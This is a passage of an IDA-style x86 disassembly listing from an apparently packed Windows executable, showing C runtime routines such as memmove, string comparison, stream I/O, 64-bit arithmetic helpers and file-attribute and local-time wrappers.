mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D2B0
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D2B0
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D2AE
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D2EA
call dword ptr [ebx+esi*4+8]
loc_41D2AE: ; CODE XREF: sub_41D256+44j
jmp short loc_41D273
; ---------------------------------------------------------------------------
loc_41D2B0: ; CODE XREF: sub_41D256+2Aj
; sub_41D256+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D256 endp
; =============== S U B R O U T I N E =======================================
sub_41D2BE proc near ; CODE XREF: sub_4220B7+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D234
jnz short locret_41D2E0
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D2E0
mov eax, 1
locret_41D2E0: ; CODE XREF: sub_41D2BE+10j
; sub_41D2BE+1Bj
retn
sub_41D2BE endp
; =============== S U B R O U T I N E =======================================
sub_41D2E1 proc near ; CODE XREF: sub_422380+1Ep
; sub_422380+40p
push ebx
push ecx
mov ebx, offset dword_44253C
jmp short loc_41D2F4
sub_41D2E1 endp
; =============== S U B R O U T I N E =======================================
sub_41D2EA proc near ; CODE XREF: sub_41D256+4Fp
; sub_4233D4+78p
push ebx
push ecx
mov ebx, offset dword_44253C
mov ecx, [ebp+8]
loc_41D2F4: ; CODE XREF: sub_41D2E1+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D2EA endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41D304 proc near ; CODE XREF: sub_40CF88+5p
; sub_40D12A+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D304 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D323 proc near ; CODE XREF: sub_40D5C9+26p
; .nsp0:004263C5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B961
pop ecx
retn
sub_41D323 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D330 proc near ; CODE XREF: sub_40D63A+3Ap
; sub_41E3D2+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D350
cmp edi, eax
jb loc_41D4C8
loc_41D350: ; CODE XREF: sub_41D330+16j
test edi, 3
jnz short loc_41D36C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D38C
rep movsd
jmp off_41D478[edx*4]
; ---------------------------------------------------------------------------
loc_41D36C: ; CODE XREF: sub_41D330+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D384
and eax, 3
add ecx, eax
jmp dword ptr loc_41D38C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D384: ; CODE XREF: sub_41D330+46j
jmp dword ptr loc_41D488[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D38C: ; CODE XREF: sub_41D330+31j
; sub_41D330+8Ej ...
jmp off_41D40C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D3A0
dd offset loc_41D3CC
dd offset loc_41D3F0
; ---------------------------------------------------------------------------
loc_41D3A0: ; DATA XREF: sub_41D330+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D38C
rep movsd
jmp off_41D478[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D3CC: ; DATA XREF: sub_41D330+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D38C
rep movsd
jmp off_41D478[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D3F0: ; DATA XREF: sub_41D330+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D38C
rep movsd
jmp off_41D478[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D40C dd offset loc_41D46F ; DATA XREF: sub_41D330:loc_41D38Cr
dd offset loc_41D45C
dd offset loc_41D454
dd offset loc_41D44C
dd offset loc_41D444
dd offset loc_41D43C
dd offset loc_41D434
dd offset loc_41D42C
; ---------------------------------------------------------------------------
loc_41D42C: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D434: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D43C: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D444: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D44C: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D454: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D45C: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D46F: ; CODE XREF: sub_41D330:loc_41D38Cj
; DATA XREF: sub_41D330:off_41D40Co
jmp off_41D478[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D478 dd offset loc_41D488 ; DATA XREF: sub_41D330+35r
; sub_41D330+92r ...
dd offset loc_41D490
dd offset loc_41D49C
dd offset loc_41D4B0
; ---------------------------------------------------------------------------
loc_41D488: ; CODE XREF: sub_41D330+35j
; sub_41D330+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D490: ; CODE XREF: sub_41D330+35j
; sub_41D330+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D49C: ; CODE XREF: sub_41D330+35j
; sub_41D330+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D4B0: ; CODE XREF: sub_41D330+35j
; sub_41D330+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D4C8: ; CODE XREF: sub_41D330+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D4FC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D4F0
std
rep movsd
cld
jmp off_41D610[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D4F0: ; CODE XREF: sub_41D330+1B1j
; sub_41D330+208j ...
neg ecx
jmp off_41D5C0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D4FC: ; CODE XREF: sub_41D330+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D514
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D514+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D514: ; CODE XREF: sub_41D330+1D6j
; DATA XREF: sub_41D330+1DDr
jmp off_41D610[ecx*4]
; ---------------------------------------------------------------------------
align 4
sub ch, dl
inc ecx
add [eax-2Bh], cl
inc ecx
add [eax-2Bh], dh
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D4F0
std
rep movsd
cld
jmp off_41D610[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D4F0
std
rep movsd
cld
jmp off_41D610[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D4F0
std
rep movsd
cld
jmp off_41D610[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D5C4
dd offset loc_41D5CC
dd offset loc_41D5D4
dd offset loc_41D5DC
dd offset loc_41D5E4
dd offset loc_41D5EC
dd offset loc_41D5F4
off_41D5C0 dd offset loc_41D607 ; DATA XREF: sub_41D330+1C2r
; ---------------------------------------------------------------------------
loc_41D5C4: ; DATA XREF: sub_41D330+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D5CC: ; DATA XREF: sub_41D330+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D5D4: ; DATA XREF: sub_41D330+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D5DC: ; DATA XREF: sub_41D330+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D5E4: ; DATA XREF: sub_41D330+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D5EC: ; DATA XREF: sub_41D330+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D5F4: ; DATA XREF: sub_41D330+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D607: ; CODE XREF: sub_41D330+1C2j
; DATA XREF: sub_41D330:off_41D5C0o
jmp off_41D610[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D610 dd offset loc_41D620 ; DATA XREF: sub_41D330+1B7r
; sub_41D330:loc_41D514r ...
dd offset loc_41D628
dd offset loc_41D638
dd offset loc_41D64C
; ---------------------------------------------------------------------------
loc_41D620: ; CODE XREF: sub_41D330+1B7j
; sub_41D330:loc_41D514j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D628: ; CODE XREF: sub_41D330+1B7j
; sub_41D330:loc_41D514j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D638: ; CODE XREF: sub_41D330+1B7j
; sub_41D330:loc_41D514j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D64C: ; CODE XREF: sub_41D330+1B7j
; sub_41D330:loc_41D514j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D330 endp
; =============== S U B R O U T I N E =======================================
sub_41D665 proc near ; CODE XREF: sub_40D6A1+34p
; sub_40D6A1+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BBDD
pop ecx
pop ecx
retn
sub_41D665 endp
; =============== S U B R O U T I N E =======================================
sub_41D673 proc near ; CODE XREF: sub_41D6E0+4p
arg_0 = dword ptr 4
push esi
push dword_4E2B94
call sub_422478
mov edx, dword_4E2B94
pop ecx
mov ecx, dword_4E2B90
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D6D2
push edx
call sub_422478
add eax, 10h
push eax
push dword_4E2B94
call sub_41BA78
add esp, 0Ch
test eax, eax
jnz short loc_41D6B5
retn
; ---------------------------------------------------------------------------
loc_41D6B5: ; CODE XREF: sub_41D673+3Fj
mov ecx, dword_4E2B90
sub ecx, dword_4E2B94
mov dword_4E2B94, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4E2B90, ecx
loc_41D6D2: ; CODE XREF: sub_41D673+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4E2B90, 4
retn
sub_41D673 endp
; =============== S U B R O U T I N E =======================================
sub_41D6E0 proc near ; CODE XREF: sub_40D78E+1Ap
; sub_4265CE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D673
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D6E0 endp
; =============== S U B R O U T I N E =======================================
sub_41D6F2 proc near ; DATA XREF: .nsp0:00429024o
push 80h
call sub_41BBCB
test eax, eax
pop ecx
mov dword_4E2B94, eax
jnz short loc_41D713
push 18h
call sub_41E0F9
mov eax, dword_4E2B94
pop ecx
loc_41D713: ; CODE XREF: sub_41D6F2+12j
and dword ptr [eax], 0
mov eax, dword_4E2B94
mov dword_4E2B90, eax
retn
sub_41D6F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D721 proc near ; CODE XREF: .nsp0:0040DD86p
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_427130 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call near ptr 0B40000h
sbb eax, 0EA458B66h
cmp ax, word_4E1562
jnz short loc_41D786
mov ax, [ebp+var_18]
cmp ax, word_4E1560
jnz short loc_41D786
mov ax, [ebp+var_1A]
cmp ax, word_4E155E
jnz short loc_41D786
mov ax, [ebp+var_1E]
cmp ax, word_4E155A
jnz short loc_41D786
mov ax, [ebp+var_20]
cmp ax, word_4E1558
jnz short loc_41D786
mov eax, dword_4E1550
jmp short loc_41D7CB
; ---------------------------------------------------------------------------
loc_41D786: ; CODE XREF: sub_41D721+28j
; sub_41D721+35j ...
lea eax, [ebp+var_CC]
push eax
call near ptr 0B40000h
stosd
cmp eax, 0FFFFFFFFh
jz short loc_41D7B3
cmp eax, 2
jnz short loc_41D7AF
cmp [ebp+var_32], 0
jz short loc_41D7AF
cmp [ebp+var_24], 0
jz short loc_41D7AF
push 1
pop eax
jmp short loc_41D7B6
; ---------------------------------------------------------------------------
loc_41D7AF: ; CODE XREF: sub_41D721+7Aj
; sub_41D721+81j ...
xor eax, eax
jmp short loc_41D7B6
; ---------------------------------------------------------------------------
loc_41D7B3: ; CODE XREF: sub_41D721+75j
or eax, 0FFFFFFFFh
loc_41D7B6: ; CODE XREF: sub_41D721+8Cj
; sub_41D721+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4E1558
movsd
movsd
movsd
movsd
pop edi
mov dword_4E1550, eax
pop esi
loc_41D7CB: ; CODE XREF: sub_41D721+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_4224A1
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D7FB
mov [ecx], eax
locret_41D7FB: ; CODE XREF: sub_41D721+D6j
leave
retn
sub_41D721 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D800 proc near ; CODE XREF: .nsp0:0040DBEBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4E15A8
cmp dword ptr [eax+8], 0
jnz short loc_41D853
mov al, 0FFh
mov edi, edi
loc_41D81C: ; CODE XREF: sub_41D800+28j
; sub_41D800+48j
or al, al
jz short loc_41D84E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D81C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D81C
sbb al, al
sbb al, 0FFh
loc_41D84E: ; CODE XREF: sub_41D800+1Ej
movsx eax, al
jmp short loc_41D887
; ---------------------------------------------------------------------------
loc_41D853: ; CODE XREF: sub_41D800+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D85C: ; CODE XREF: sub_41D800+68j
; sub_41D800+80j
or al, al
jz short loc_41D887
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D85C
push eax
push ebx
call sub_41DE1C
mov ebx, eax
add esp, 4
call sub_41DE1C
add esp, 4
cmp bl, al
jz short loc_41D85C
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D887: ; CODE XREF: sub_41D800+51j
; sub_41D800+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D800 endp
; =============== S U B R O U T I N E =======================================
sub_41D88C proc near ; CODE XREF: sub_40E7D2+193p
; sub_40E7D2+1DDp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
mov esi, offset dword_442B58
push edi
push esi
call sub_4202AB
mov edi, eax
lea eax, [esp+10h+arg_4]
push eax
push [esp+14h+arg_0]
push esi
call sub_41F504
push esi
push edi
mov ebx, eax
call sub_420338
add esp, 18h
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_41D88C endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D939
mov edi, [esp+14h]
test edi, edi
jz short loc_41D8DC
cmp edi, 1
jz short loc_41D8DC
cmp edi, 2
jnz short loc_41D939
loc_41D8DC: ; CODE XREF: .nsp0:0041D8D0j
; .nsp0:0041D8D5j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D8F3
push esi
call sub_4226B6
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D8F3: ; CODE XREF: .nsp0:0041D8E4j
push esi
call sub_41E25B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D908
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D91C
; ---------------------------------------------------------------------------
loc_41D908: ; CODE XREF: .nsp0:0041D8FFj
test al, 1
jz short loc_41D91C
test al, 8
jz short loc_41D91C
test ah, 4
jnz short loc_41D91C
mov dword ptr [esi+18h], 200h
loc_41D91C: ; CODE XREF: .nsp0:0041D906j
; .nsp0:0041D90Aj ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42261C
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D946
; ---------------------------------------------------------------------------
loc_41D939: ; CODE XREF: .nsp0:0041D8C8j
; .nsp0:0041D8DAj
mov dword_4E14F8, 16h
or eax, 0FFFFFFFFh
loc_41D946: ; CODE XREF: .nsp0:0041D937j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D950 proc near ; CODE XREF: sub_413107+19Ep
; sub_420375+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D969
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D969: ; CODE XREF: sub_41D950+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D950 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D984 proc near ; CODE XREF: .nsp0:004168EEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D9A8
xor eax, eax
jmp loc_41DA75
; ---------------------------------------------------------------------------
loc_41D9A8: ; CODE XREF: sub_41D984+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D9BB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D9C2
; ---------------------------------------------------------------------------
loc_41D9BB: ; CODE XREF: sub_41D984+2Dj
mov [ebp+arg_C], 1000h
loc_41D9C2: ; CODE XREF: sub_41D984+35j
; sub_41D984+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D9F6
mov eax, [esi+4]
test eax, eax
jz short loc_41D9F6
cmp ebx, eax
mov edi, ebx
jb short loc_41D9DC
mov edi, eax
loc_41D9DC: ; CODE XREF: sub_41D984+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call near ptr sub_41C9B0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DA3C
; ---------------------------------------------------------------------------
loc_41D9F6: ; CODE XREF: sub_41D984+47j
; sub_41D984+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DA41
test ecx, ecx
jz short loc_41DA0A
push esi
call sub_41E25B
test eax, eax
pop ecx
jnz short loc_41DA83
loc_41DA0A: ; CODE XREF: sub_41D984+79j
cmp [ebp+arg_C], 0
jz short loc_41DA1D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DA1F
; ---------------------------------------------------------------------------
loc_41DA1D: ; CODE XREF: sub_41D984+8Aj
mov edi, ebx
loc_41DA1F: ; CODE XREF: sub_41D984+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42280E
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DA7A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DA7A
loc_41DA3C: ; CODE XREF: sub_41D984+70j
mov edi, [ebp+var_4]
jmp short loc_41DA6A
; ---------------------------------------------------------------------------
loc_41DA41: ; CODE XREF: sub_41D984+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F3EF
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DA83
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DA6A
mov [ebp+arg_C], 1
loc_41DA6A: ; CODE XREF: sub_41D984+BBj
; sub_41D984+DDj
test ebx, ebx
jnz loc_41D9C2
mov eax, [ebp+arg_8]
loc_41DA75: ; CODE XREF: sub_41D984+1Fj
; sub_41D984+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DA7A: ; CODE XREF: sub_41D984+ADj
; sub_41D984+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DA85
; ---------------------------------------------------------------------------
loc_41DA83: ; CODE XREF: sub_41D984+84j
; sub_41D984+CFj
mov eax, edi
loc_41DA85: ; CODE XREF: sub_41D984+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DA75
sub_41D984 endp
; =============== S U B R O U T I N E =======================================
sub_41DA8E proc near ; CODE XREF: sub_416F11+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_427098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DAAE
call dword_42708C ; RtlGetLastWin32Error
push eax
call sub_420244
pop ecx
loc_41DAAA: ; CODE XREF: sub_41DA8E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DAAE: ; CODE XREF: sub_41DA8E+Dj
test al, 1
jz short loc_41DACF
test [esp+arg_4], 2
jz short loc_41DACF
mov dword_4E14F8, 0Dh
mov dword_4E14FC, 5
jmp short loc_41DAAA
; ---------------------------------------------------------------------------
loc_41DACF: ; CODE XREF: sub_41DA8E+22j
; sub_41DA8E+29j
xor eax, eax
retn
sub_41DA8E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DAE0 proc near ; CODE XREF: sub_416F2B+3Fp
; sub_41F504+5C4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DB02
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DB43
; ---------------------------------------------------------------------------
loc_41DB02: ; CODE XREF: sub_41DAE0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DB10: ; CODE XREF: sub_41DAE0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DB10
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DB3E
cmp edx, [esp+8+arg_4]
ja short loc_41DB3E
jb short loc_41DB3F
cmp eax, [esp+8+arg_0]
jbe short loc_41DB3F
loc_41DB3E: ; CODE XREF: sub_41DAE0+4Ej
; sub_41DAE0+54j
dec esi
loc_41DB3F: ; CODE XREF: sub_41DAE0+56j
; sub_41DAE0+5Cj
xor edx, edx
mov eax, esi
loc_41DB43: ; CODE XREF: sub_41DAE0+20j
pop esi
pop ebx
retn 10h
sub_41DAE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_416F2B+2Dp
; sub_41F504+5B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DB71
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DBC1
; ---------------------------------------------------------------------------
loc_41DB71: ; CODE XREF: sub_41DB50+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DB7F: ; CODE XREF: sub_41DB50+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DB7F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DBAA
cmp edx, [esp+4+arg_4]
ja short loc_41DBAA
jb short loc_41DBB2
cmp eax, [esp+4+arg_0]
jbe short loc_41DBB2
loc_41DBAA: ; CODE XREF: sub_41DB50+4Aj
; sub_41DB50+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DBB2: ; CODE XREF: sub_41DB50+52j
; sub_41DB50+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DBC1: ; CODE XREF: sub_41DB50+1Fj
pop ebx
retn 10h
sub_41DB50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DBD0 proc near ; CODE XREF: sub_41703B+5Fp
; sub_41703B+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DBF1
inc edi
